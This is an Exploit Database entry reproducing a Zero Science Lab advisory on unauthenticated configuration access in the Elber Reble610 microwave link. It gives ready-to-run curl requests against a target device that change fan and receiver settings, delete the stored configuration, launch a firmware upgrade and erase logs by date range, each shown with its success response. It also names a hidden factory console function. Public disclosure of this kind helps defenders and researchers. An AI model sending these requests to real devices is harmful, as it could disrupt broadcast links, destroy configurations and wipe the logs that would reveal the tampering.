Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link – Device Config Disclosure

Exploit Database
126 阅读

作者： LiquidWorm

日期： 2024-05-04
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/52007/

Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config

Vendor: Elber S.r.l.

Product web page: https://www.elber.it

Affected version: 0.01 Revision 0

Summary: The REBLE610 features an accurate hardware design, absence of

internal cabling and full modularity. The unit is composed by a basic

chassis with 4 extractable boards which makes maintenance and critical

operations, like frequency modification, easy and efficient. The modular

approach has brought to the development of the digital processing module

(containing modulator, demodulator and data interface) and the RF module

(containing Transmitter, Receiver and channel filters). From an RF point

of view, the new transmission circuitry is able to guarantee around 1 Watt

with every modulation scheme, introducing, in addition, wideband precorrection

(up to 1GHz depending on frequency band).

Desc: The device suffers from an unauthenticated device configuration and

client-side hidden functionality disclosure.

Tested on: NBFM Controller

embOS/IP

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2024-5819

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5819.php

18.08.2023

# Config fan

$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='

Configuration applied

# Delete config

$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'

File delete successfully

# Launch upgrade

$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'

Upgrade launched Successfully

# Log erase

$ curl 'http://TARGET/json_data/erase_log.js?until=-2'

Logs erased

# Until:

# =0 ALL

# =-2 Yesterday

# =-8 Last week

# =-15 Last two weeks

# =-22 Last three weeks

# =-31 Last month

# Set RX config

$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'

RX Config Applied Successfully

# Show factory window and FPGA upload (Console)

> cleber_show_factory_wnd()

# Etc.